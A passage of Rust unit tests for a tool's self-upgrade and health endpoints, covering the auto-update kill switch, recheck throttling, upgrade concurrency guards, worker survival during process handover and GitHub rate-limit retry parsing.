24633        let start = std::time::Instant::now();
24634        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
24635            std::thread::sleep(Duration::from_millis(5));
24636        }
24637        assert!(!talks.turn_held(id), "the lease is released first");
24638        assert!(slots.live.contains(id), "the slot is still held meanwhile");
24639        drop(slots);
24640        dropper.join().expect("join");
24641        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
24642    }
24643
24644    #[tokio::test]
24645    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
24646        let fx = Fixture::start().await;
24647        let mut beat = crate::daemon::Status::new();
24648        beat.worker_protocol = None;
24649        beat.pid = 4321;
24650        beat.updated_at = jiff::Timestamp::now();
24651        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24652            .expect("publish a heartbeat");
24653
24654        let res = fx.post("/api/upgrade", None).await;
24655        assert_eq!(res.status, 409);
24656    }
24657
24658    /// [`should_spawn_recheck`] must refuse for the same two reasons
24659    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
24660    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
24661    /// Purely a predicate over config and the environment - no network, no
24662    /// disk, no runtime - so unlike the fixture-based tests around it this
24663    /// one needs neither.
24664    #[test]
24665    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
24666        assert!(!should_spawn_recheck(&crate::config::Update {
24667            mode: UpdateMode::Off,
24668            interval: None,
24669            auto_restart: false,
24670        }));
24671
24672        // SAFETY: single-threaded as far as this variable goes, the same
24673        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24674        unsafe {
24675            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24676        }
24677        let killed = should_spawn_recheck(&crate::config::Update {
24678            mode: UpdateMode::Notify,
24679            interval: None,
24680            auto_restart: false,
24681        });
24682        unsafe {
24683            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24684        }
24685        assert!(
24686            !killed,
24687            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
24688             one-time startup check"
24689        );
24690
24691        assert!(should_spawn_recheck(&crate::config::Update {
24692            mode: UpdateMode::Notify,
24693            interval: None,
24694            auto_restart: false,
24695        }));
24696    }
24697
24698    /// [`recheck_poll_period`] must track a configured `[update] interval`
24699    /// shorter than its own default ceiling - a fixed sleep here would leave
24700    /// an operator's short interval waiting on the next wake-up instead of on
24701    /// `should_check`, which is the same bug this whole task exists to fix,
24702    /// just one level down.
24703    #[test]
24704    fn recheck_poll_period_tracks_a_short_configured_interval() {
24705        let short = crate::config::Update {
24706            mode: UpdateMode::Notify,
24707            interval: Some("1m".to_owned()),
24708            auto_restart: false,
24709        };
24710        let period = recheck_poll_period(&short);
24711        assert!(
24712            period <= Duration::from_secs(30),
24713            "a one-minute interval must wake the task far sooner than the \
24714             default ceiling, or the deck would not notice within the \
24715             interval the operator configured: got {period:?}"
24716        );
24717
24718        let default = crate::config::Update {
24719            mode: UpdateMode::Notify,
24720            interval: None,
24721            auto_restart: false,
24722        };
24723        assert_eq!(
24724            recheck_poll_period(&default),
24725            UPDATE_RECHECK_POLL_MAX,
24726            "the default day-long interval should poll at the (capped) \
24727             ceiling rather than needlessly often"
24728        );
24729    }
24730
24731    /// [`update_recheck_due`] must not repeat a check made moments ago, the
24732    /// same throttle `updater::Checker::should_check` already gives the
24733    /// CLI's notify mode. Built over an explicit state file via
24734    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
24735    /// write the operator's real `last_update_check.json` - and therefore
24736    /// cannot flake on whatever that file happens to say on the machine
24737    /// running the test.
24738    #[test]
24739    fn recheck_skips_the_network_before_the_interval_elapses() {
24740        let dir = TempDir::new().expect("temp dir");
24741        let path = dir.path().join("state.json");
24742        let state = kaishin::UpdateCheckState {
24743            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
24744            last_known_latest: None,
24745            last_known_url: None,
24746        };
24747        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
24748
24749        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
24750        assert!(
24751            !update_recheck_due(&checker, None),
24752            "a check made moments ago must not be repeated before the \
24753             configured interval elapses"
24754        );
24755    }
24756
24757    /// An upgrade this deck already started must not be raced by a recheck
24758    /// that discovers a newer release mid-install - regardless of what
24759    /// `should_check` says, which is why the state file here is missing
24760    /// entirely: read alone, that alone would answer "never checked, go
24761    /// ahead".
24762    #[test]
24763    fn recheck_defers_to_an_upgrade_already_in_flight() {
24764        let dir = TempDir::new().expect("temp dir");
24765        let path = dir.path().join("state.json");
24766        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
24767        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
24768
24769        assert!(
24770            !update_recheck_due(&checker, Some(&progress)),
24771            "a recheck must not run while an upgrade this deck started is \
24772             still moving"
24773        );
24774    }
24775
24776    #[tokio::test]
24777    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
24778        // The same env var the background check honours (`disabled_by_env`)
24779        // must also stop a button press before it ever calls
24780        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
24781        // means "never contact GitHub from this process", and a tap on the
24782        // upgrade button must not override that any more than a broken
24783        // `magi.toml` may. Left unset, this fixture's default config would
24784        // otherwise reach a real, unauthenticated GitHub call.
24785        //
24786        // SAFETY: single-threaded as far as this variable goes - nothing else
24787        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
24788        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
24789        unsafe {
24790            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
24791        }
24792        let fx = Fixture::start().await;
24793        let res = fx.post("/api/upgrade", None).await;
24794        unsafe {
24795            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
24796        }
24797        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
24798        let body = res.json();
24799        assert!(body["to"].is_null(), "there was no release to move to");
24800        assert!(body["parked"].is_null(), "and nothing was parked");
24801        assert!(
24802            body["detail"]
24803                .as_str()
24804                .unwrap()
24805                .contains("disabled by MAGI_NO_AUTOUPDATE"),
24806            "{body:?}"
24807        );
24808    }
24809
24810    #[test]
24811    fn auto_upgrade_decision_respects_policy_and_failed_tags() {
24812        use AutoUpgradeDecision::{Skip, Trigger};
24813        let mut cfg = Update::default();
24814        assert!(matches!(
24815            auto_upgrade_decision(&cfg, false, false, "v2", None),
24816            Skip(_)
24817        ));
24818        cfg.auto_restart = true;
24819        assert_eq!(
24820            auto_upgrade_decision(&cfg, false, false, "v2", None),
24821            Trigger
24822        );
24823        for (disabled, moving, failed) in [
24824            (true, false, None),
24825            (false, true, None),
24826            (false, false, Some("v2")),
24827        ] {
24828            assert!(matches!(
24829                auto_upgrade_decision(&cfg, disabled, moving, "v2", failed),
24830                Skip(_)
24831            ));
24832        }
24833        assert_eq!(
24834            auto_upgrade_decision(&cfg, false, false, "v3", Some("v2")),
24835            Trigger
24836        );
24837        cfg.mode = UpdateMode::Off;
24838        assert!(matches!(
24839            auto_upgrade_decision(&cfg, false, false, "v2", None),
24840            Skip(_)
24841        ));
24842    }
24843
24844    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24845        Box::pin(async { anyhow::bail!("test installer failed") })
24846    }
24847
24848    static TEST_AUTO_HANDOVERS: std::sync::LazyLock<Mutex<HashMap<PathBuf, Arc<Notify>>>> =
24849        std::sync::LazyLock::new(Mutex::default);
24850
24851    fn test_replace_and_signal_handover(
24852        home: PathBuf,
24853    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
24854        Box::pin(async move {
24855            if let Some(mut progress) = updater::read_progress(&home) {
24856                progress.advance(updater::Stage::Replaced);
24857                updater::write_progress_logged(&home, &progress);
24858            }
24859            if let Some(signal) = TEST_AUTO_HANDOVERS
24860                .lock()
24861                .unwrap_or_else(PoisonError::into_inner)
24862                .remove(&home)
24863            {
24864                signal.notify_one();
24865            }
24866            Ok(())
24867        })
24868    }
24869
24870    #[tokio::test]
24871    async fn auto_upgrade_guards_opt_in_legacy_concurrency_and_failed_tags() {
24872        let home = TempDir::new().unwrap();
24873        let mut ui = idle_ui(&home);
24874        ui.repo = home.path().to_path_buf();
24875        // Every successful trigger in this test uses this seam, never the installer.
24876        ui.upgrade_runner = fail_test_upgrade;
24877        let ui = Arc::new(ui);
24878        let latest = |tag: &str| {
24879            Some(kaishin::LatestRelease {
24880                tag_name: tag.into(),
24881                html_url: String::new(),
24882            })
24883        };
24884
24885        // Opt-in default (`auto_restart = false`) does nothing.
24886        assert_eq!(
24887            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24888                .await
24889                .status(),
24890            StatusCode::NO_CONTENT
24891        );
24892        assert!(updater::read_progress(home.path()).is_none());
24893
24894        // `mode = "off"` disables automatic updates even when `auto_restart = true`.
24895        std::fs::write(
24896            home.path().join("magi.toml"),
24897            "[update]\nmode = \"off\"\nauto_restart = true\n",
24898        )
24899        .unwrap();
24900        assert_eq!(
24901            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24902                .await
24903                .status(),
24904            StatusCode::NO_CONTENT
24905        );
24906        assert!(updater::read_progress(home.path()).is_none());
24907
24908        std::fs::write(
24909            home.path().join("magi.toml"),
24910            "[update]\nauto_restart = true\n",
24911        )
24912        .unwrap();
24913
24914        // Missing detected release skips without re-querying.
24915        assert_eq!(
24916            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, None)
24917                .await
24918                .status(),
24919            StatusCode::NO_CONTENT
24920        );
24921        assert!(updater::read_progress(home.path()).is_none());
24922
24923        // Legacy embedded scheduler is still refused.
24924        let legacy_pid = std::process::id().wrapping_add(1).max(1);
24925        std::fs::write(
24926            home.path().join("daemon.json"),
24927            serde_json::json!({
24928                "schema": 2,
24929                "pid": legacy_pid,
24930                "updated_at": Timestamp::now().to_string(),
24931                "idle": true,
24932            })
24933            .to_string(),
24934        )
24935        .unwrap();
24936        assert_eq!(
24937            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24938                .await
24939                .status(),
24940            StatusCode::CONFLICT
24941        );
24942        assert!(updater::read_progress(home.path()).is_none());
24943        std::fs::remove_file(home.path().join("daemon.json")).unwrap();
24944
24945        // Concurrent upgrade guard refuses while the request gate is held.
24946        let gate = ui.upgrade_gate.lock().await;
24947        assert_eq!(
24948            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24949                .await
24950                .status(),
24951            StatusCode::CONFLICT
24952        );
24953        drop(gate);
24954
24955        // Active chat turns no longer defer automatic upgrades.
24956        ui.talk_turns.lock().unwrap().live.insert("busy".into());
24957        assert_eq!(
24958            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24959                .await
24960                .status(),
24961            StatusCode::ACCEPTED
24962        );
24963        let progress = updater::read_progress(home.path()).unwrap();
24964        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
24965        assert_eq!(progress.stage, updater::Stage::Downloading);
24966        assert_eq!(
24967            begin_upgrade(&ui, updater::UpgradeTrigger::Manual, None)
24968                .await
24969                .status(),
24970            StatusCode::CONFLICT
24971        );
24972        assert!(progress.parked_run.is_none());
24973        assert!(ui.start_detached_loop().await.is_err());
24974        assert!(ui.start_loop(None).is_err());
24975        assert!(ui.begin_resume("late").is_err());
24976        assert_eq!(
24977            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24978                .await
24979                .status(),
24980            StatusCode::NO_CONTENT
24981        );
24982        tokio::time::timeout(Duration::from_secs(2), async {
24983            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
24984                tokio::task::yield_now().await;
24985            }
24986        })
24987        .await
24988        .unwrap();
24989        let progress = updater::read_progress(home.path()).unwrap();
24990        assert_eq!(progress.stage, updater::Stage::Failed);
24991
24992        // Same-release failure is suppressed for automatic retries.
24993        assert_eq!(
24994            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.0"))
24995                .await
24996                .status(),
24997            StatusCode::NO_CONTENT
24998        );
24999
25000        // Manual retry still uses the shared path for the same tag.
25001        let result = upgrade_checked(&ui, "old".into(), Ok(latest("v999.0.0")));
25002        assert_eq!(
25003            finish_upgrade_request(&ui, result).status(),
25004            StatusCode::ACCEPTED
25005        );
25006        assert_eq!(
25007            updater::read_progress(home.path()).unwrap().trigger,
25008            updater::UpgradeTrigger::Manual
25009        );
25010        tokio::time::timeout(Duration::from_secs(2), async {
25011            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25012                tokio::task::yield_now().await;
25013            }
25014        })
25015        .await
25016        .unwrap();
25017
25018        // A newer release tag clears suppression for automatic updates.
25019        assert_eq!(
25020            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest("v999.0.1"))
25021                .await
25022                .status(),
25023            StatusCode::ACCEPTED
25024        );
25025        assert_eq!(
25026            updater::read_progress(home.path()).unwrap().trigger,
25027            updater::UpgradeTrigger::Auto
25028        );
25029        tokio::time::timeout(Duration::from_secs(2), async {
25030            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
25031                tokio::task::yield_now().await;
25032            }
25033        })
25034        .await
25035        .unwrap();
25036    }
25037
25038    #[tokio::test]
25039    async fn auto_upgrade_hands_over_without_waiting_for_active_task_chat_or_service_workers() {
25040        let home = TempDir::new().unwrap();
25041        std::fs::write(
25042            home.path().join("magi.toml"),
25043            "[update]\nauto_restart = true\n",
25044        )
25045        .unwrap();
25046        let mut ui = idle_ui(&home);
25047        ui.repo = home.path().to_path_buf();
25048        ui.upgrade_runner = test_replace_and_signal_handover;
25049        let ui = Arc::new(ui);
25050
25051        let workers = [
25052            ("111111", 1_u64, "task", "task:active-task", 41_001_u32),
25053            ("222222", 2_u64, "chat", "chat:active-chat", 41_002_u32),
25054            (
25055                "333333",
25056                3_u64,
25057                "daemon-service",
25058                "service:maintenance",
25059                41_003_u32,
25060            ),
25061        ];
25062        let mut exec_leases = Vec::new();
25063        for (id, sequence, kind, key, pid) in workers {
25064            let dir = home.path().join("workers/jobs").join(id);
25065            std::fs::create_dir_all(&dir).unwrap();
25066            let payload = if kind == "chat" {
25067                serde_json::json!({ "talk": "active-chat" })
25068            } else {
25069                serde_json::json!({})
25070            };
25071            let job = crate::worker::Job {
25072                id: id.into(),
25073                sequence,
25074                kind: kind.into(),
25075                key: key.into(),
25076                payload,
25077                generation: "gen-old".into(),
25078                version: Some("0.1.0".into()),
25079                status: crate::worker::Status::Running,
25080                result: None,
25081                pid: Some(pid),
25082                created_at: 1,
25083                finished_at: None,
25084            };
25085            std::fs::write(dir.join("job.json"), serde_json::to_vec(&job).unwrap()).unwrap();
25086            exec_leases.push(crate::worker::execution_lease_for_test(
25087                &dir.join("live.lock"),
25088            ));
25089        }
25090        let task_lease = crate::worker::try_lease(home.path(), "task:active-task")
25091            .unwrap()
25092            .expect("free task lease");
25093        let chat_lease = crate::worker::try_lease(home.path(), "chat:active-chat")
25094            .unwrap()
25095            .expect("free chat worker lease");
25096        let service_lease = crate::worker::try_lease(home.path(), "service:maintenance")
25097            .unwrap()
25098            .expect("free service lease");
25099        let chat_turn = ui
25100            .begin_talk_turn("active-chat-turn")
25101            .expect("claim chat turn")
25102            .expect("free chat turn");
25103        assert_eq!(crate::worker::observe_active(home.path()).unwrap().len(), 3);
25104
25105        // An unreadable reservation must defer replacement, not look like an
25106        // idle scheduler. Once repaired, the same release can still proceed.
25107        let corrupt = home.path().join("workers/jobs/444444");
25108        std::fs::create_dir_all(&corrupt).unwrap();
25109        std::fs::write(corrupt.join("job.json"), "{").unwrap();
25110        let latest = || {
25111            Some(kaishin::LatestRelease {
25112                tag_name: "v999.0.0".into(),
25113                html_url: String::new(),
25114            })
25115        };
25116        let refused = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25117        assert_eq!(refused.status(), StatusCode::INTERNAL_SERVER_ERROR);
25118        assert!(updater::read_progress(home.path()).is_none());
25119        std::fs::remove_dir_all(corrupt).unwrap();
25120
25121        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25122            .await
25123            .expect("bind loopback");
25124        let address = listener.local_addr().expect("address");
25125        let served =
25126            tokio::spawn(axum::serve(listener, Arc::clone(&ui).shared_router()).into_future());
25127
25128        let handover_signal = Arc::new(Notify::new());
25129        TEST_AUTO_HANDOVERS
25130            .lock()
25131            .unwrap_or_else(PoisonError::into_inner)
25132            .insert(home.path().to_path_buf(), Arc::clone(&handover_signal));
25133
25134        let admission = ui.begin_admission().expect("admit");
25135        let response = begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest()).await;
25136        assert_eq!(response.status(), StatusCode::ACCEPTED);
25137        tokio::time::timeout(Duration::from_secs(2), handover_signal.notified())
25138            .await
25139            .expect("auto upgrade runner must reach handover");
25140        let replaced = updater::read_progress(home.path()).unwrap();
25141        assert_eq!(replaced.trigger, updater::UpgradeTrigger::Auto);
25142        assert_eq!(replaced.stage, updater::Stage::Replaced);
25143
25144        let successor_started = std::sync::atomic::AtomicBool::new(false);
25145        let handover = hand_over(home.path(), &ui.admissions, served, || {
25146            successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25147            Ok(1)
25148        });
25149        tokio::pin!(handover);
25150        // Short admission drain still waits for an in-flight persistence/reservation guard.
25151        std::future::poll_fn(|cx| {
25152            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
25153            std::task::Poll::Ready(())
25154        })
25155        .await;
25156        assert!(!successor_started.load(std::sync::atomic::Ordering::SeqCst));
25157        assert!(ui.begin_admission().is_err());
25158
25159        drop(admission);
25160        tokio::time::timeout(Duration::from_secs(2), handover)
25161            .await
25162            .expect("automatic handover must not wait for active workers")
25163            .expect("handover");
25164        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25165
25166        let successor = bind_waiting(address)
25167            .await
25168            .expect("successor binds released address");
25169        assert_eq!(successor.local_addr().unwrap(), address);
25170
25171        let restarting = updater::read_progress(home.path()).unwrap();
25172        assert_eq!(restarting.trigger, updater::UpgradeTrigger::Auto);
25173        assert_eq!(restarting.stage, updater::Stage::Restarting);
25174        assert!(restarting.parked_run.is_none());
25175        assert!(restarting.parked_talks.is_empty());
25176
25177        let active_after = crate::worker::observe_active(home.path()).unwrap();
25178        assert_eq!(active_after.len(), 3);
25179        for (id, _, kind, key, pid) in workers {
25180            let job = active_after
25181                .iter()
25182                .find(|job| job.id == id)
25183                .unwrap_or_else(|| panic!("worker {id} must survive handover"));
25184            assert_eq!(job.kind, kind);
25185            assert_eq!(job.pid, Some(pid));
25186            assert_eq!(job.generation, "gen-old");
25187            assert_eq!(job.status, crate::worker::Status::Running);
25188            assert!(
25189                crate::worker::control(home.path(), key).unwrap().is_none(),
25190                "no park/stop control may be requested for {key}"
25191            );
25192        }
25193        assert!(
25194            !home.path().join("worker-parks").exists(),
25195            "automatic handover must never request worker parks"
25196        );
25197        assert!(chat_turn.owns(), "chat lease survives automatic handover");
25198        assert!(
25199            crate::worker::try_lease(home.path(), "task:active-task")
25200                .unwrap()
25201                .is_none()
25202        );
25203        assert!(
25204            crate::worker::try_lease(home.path(), "chat:active-chat")
25205                .unwrap()
25206                .is_none()
25207        );
25208        assert!(
25209            crate::worker::try_lease(home.path(), "service:maintenance")
25210                .unwrap()
25211                .is_none()
25212        );
25213
25214        let log = std::fs::read_to_string(updater::log_path(home.path())).unwrap_or_default();
25215        assert!(
25216            log.contains("auto-upgrade: beginning update and restart"),
25217            "{log}"
25218        );
25219        assert!(!log.contains("waiting for idle"), "{log}");
25220        assert!(!log.contains("idle;"), "{log}");
25221
25222        drop(successor);
25223        drop(chat_turn);
25224        drop(service_lease);
25225        drop(chat_lease);
25226        drop(task_lease);
25227        drop(exec_leases);
25228    }
25229
25230    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
25231        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
25232        p.stage = stage;
25233        p
25234    }
25235
25236    #[test]
25237    fn busy_stages_match_the_ui_set() {
25238        use crate::updater::Stage;
25239        assert!(APP_JS.contains(
25240            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
25241        ));
25242        for s in [
25243            Stage::Downloading,
25244            Stage::Replaced,
25245            Stage::Parking,
25246            Stage::Restarting,
25247        ] {
25248            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
25249        }
25250        for s in [Stage::Done, Stage::Failed] {
25251            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
25252        }
25253        assert!(upgrade_in_motion(None).is_none());
25254    }
25255
25256    #[tokio::test]
25257    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
25258        use crate::updater::Stage;
25259        for stage in [
25260            Stage::Downloading,
25261            Stage::Replaced,
25262            Stage::Parking,
25263            Stage::Restarting,
25264        ] {
25265            let fx = Fixture::start().await;
25266            let seeded = seeded_progress(stage);
25267            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
25268            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25269                .expect("read");
25270
25271            let res = fx.post("/api/upgrade", None).await;
25272            assert_eq!(res.status, 409, "{stage:?}");
25273            let err = res.json()["error"].as_str().unwrap().to_owned();
25274            assert!(err.contains("already in progress"), "{err}");
25275            assert!(err.contains(stage.as_str()), "{err}");
25276
25277            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
25278                .expect("read");
25279            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
25280            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
25281                .unwrap_or_default();
25282            assert!(!log.contains("signalling HANDOVER"), "{log}");
25283        }
25284    }
25285
25286    #[test]
25287    fn upgrade_retry_timing_only_parses_known_diagnostics() {
25288        assert_eq!(
25289            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
25290            Some(3723)
25291        );
25292        assert_eq!(
25293            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
25294            Some(60)
25295        );
25296        assert_eq!(
25297            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
25298            Some(0)
25299        );
25300        for message in [
25301            "permission denied",
25302            "GitHub API rate limit exceeded",
25303            "GitHub rate limit (resets in unknown)",
25304            "GitHub rate limit (resets in 18446744073709551615d)",
25305        ] {
25306            assert_eq!(upgrade_retry_after(message), None, "{message}");
25307        }
25308    }
25309
25310    #[tokio::test]
25311    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
25312        let home = TempDir::new().unwrap();
25313        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
25314        ui.start_loop(None).unwrap();
25315        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
25316        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
25317        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
25318        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
25319        let response = finish_upgrade_request(&ui, result);
25320        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
25321        assert_eq!(response.headers()["retry-after"], "120");
25322        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
25323            .await
25324            .unwrap();
25325        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
25326        assert!(body["error"].as_str().unwrap().contains(reason));
25327        assert_eq!(body["retry_after_secs"], 120);
25328        assert!(body["retry_at"].as_u64().is_some());
25329        for _ in 0..2 {
25330            let view = health(State(ui.clone())).await.unwrap().0;
25331            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
25332            assert_eq!(failure, body);
25333        }
25334        assert_eq!(
25335            std::fs::read(updater::progress_path(home.path())).unwrap(),
25336            before
25337        );
25338        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
25339        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
25340        // A conflicting request must not erase the actionable earlier failure.
25341        let gate = ui.upgrade_gate.lock().await;
25342        assert_eq!(
25343            upgrade_post(State(ui.clone())).await.status(),
25344            StatusCode::CONFLICT
25345        );
25346        drop(gate);
25347        assert!(
25348            health(State(ui.clone()))
25349                .await
25350                .unwrap()
25351                .0
25352                .upgrade_request_error
25353                .is_some()
25354        );
25355        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
25356        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
25357        assert!(
25358            health(State(ui.clone()))
25359                .await
25360                .unwrap()
25361                .0
25362                .upgrade_request_error
25363                .is_none()
25364        );
25365        let live = ui.lock_loop().live.take().unwrap();
25366        live.stop.stop();
25367        live.handle.await.unwrap();
25368    }
25369
25370    #[tokio::test]
25371    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
25372        use crate::updater::Stage;
25373        let repo = TempDir::new().expect("repo dir");
25374        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25375            .expect("write magi.toml");
25376        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25377        for stage in [Stage::Done, Stage::Failed] {
25378            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
25379            let res = fx.post("/api/upgrade", None).await;
25380            assert_eq!(res.status, 200, "{stage:?}");
25381        }
25382        // No record at all, and the gate was released by the earlier calls.
25383        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
25384        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
25385    }
25386
25387    #[tokio::test]
25388    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
25389        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
25390        // and the route answers from its own logic.
25391        //
25392        // This test used to lean on the fixture's placeholder repo failing
25393        // config discovery, which left `mode = "notify"` - and a live,
25394        // unauthenticated call to the GitHub releases API inside a unit test.
25395        // GitHub allows 60 of those an hour per address, so the suite went red
25396        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
25397        // long as somebody kept re-running it: every attempt spent another
25398        // request. Six reruns across four pull requests were charged to that
25399        // before it was read as a rate limit rather than a flake.
25400        //
25401        // What the assertion is about is the "already current" branch, which
25402        // is reached by there being no newer release *or* nowhere to look. The
25403        // second one needs no network and cannot be rate limited.
25404        let repo = TempDir::new().expect("repo dir");
25405        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25406            .expect("write magi.toml");
25407        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25408
25409        // It must answer 200 and leave the process alone: restarting for an
25410        // upgrade that did not happen parks the run in flight and drops every
25411        // connection to pay for nothing. A probe against a deck already on the
25412        // newest build did exactly that, which is how this case got its own
25413        // branch.
25414        let res = fx.post("/api/upgrade", None).await;
25415        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
25416        let body = res.json();
25417        assert!(body["to"].is_null(), "there was no release to move to");
25418        assert!(body["parked"].is_null(), "and nothing was parked");
25419        assert!(
25420            body["detail"]
25421                .as_str()
25422                .unwrap()
25423                .contains("nothing restarted"),
25424            "{body:?}"
25425        );
25426    }
25427
25428    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
25429        tokio::time::timeout(Duration::from_secs(5), async {
25430            while state.lock().unwrap().in_flight {
25431                tokio::task::yield_now().await;
25432            }
25433        })
25434        .await
25435        .expect("capacity scan finished");
25436    }
25437
25438    fn disk_test_scope(home: &FsPath) -> DiskScope {
25439        DiskScope {
25440            runs: home.join("runs"),
25441            worktrees: home.join("worktrees"),
25442            cache: Some(home.join("cache")),
25443        }
25444    }
25445
25446    fn known_disk_capacity() -> DiskCapacity {
25447        DiskCapacity {
25448            free_bytes: Some(100),
25449            runs_bytes: Some(200),
25450            worktrees_bytes: Some(300),
25451            cache_bytes: Some(400),
25452        }
25453    }
25454
25455    #[tokio::test]
25456    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
25457        let home = TempDir::new().unwrap();
25458        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
25459        let mut ui = delta_test_ui(home.path());
25460        let state = Arc::get_mut(&mut ui).unwrap();
25461        state.repo = home.path().to_owned();
25462        state.worktrees_root = home.path().join("worktrees");
25463        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25464        ui.monitor
25465            .worker_started
25466            .store(true, std::sync::atomic::Ordering::SeqCst);
25467        let cfg = deputy_config(&ui.repo);
25468        let scope = DiskScope::of(&ui, cfg.as_ref());
25469        let (started, reached) = tokio::sync::oneshot::channel();
25470        let (release, blocked) = std::sync::mpsc::channel();
25471        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
25472            started.send(()).unwrap();
25473            // A failed request assertion must also let the blocking worker exit.
25474            let _ = blocked.recv();
25475            known_disk_capacity()
25476        });
25477        assert!(cold.runs_bytes.is_none());
25478        tokio::time::timeout(Duration::from_secs(5), reached)
25479            .await
25480            .unwrap()
25481            .unwrap();
25482
25483        let requests: Vec<_> = (0..4)
25484            .map(|_| {
25485                let ui = ui.clone();
25486                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
25487            })
25488            .collect();
25489        // This is a causal independence check, not a five-second latency
25490        // benchmark. Leave room for unrelated filesystem/thread contention
25491        // when the entire unit suite runs concurrently.
25492        let completed = tokio::time::timeout(Duration::from_secs(60), async {
25493            for request in requests {
25494                let view = request.await.unwrap();
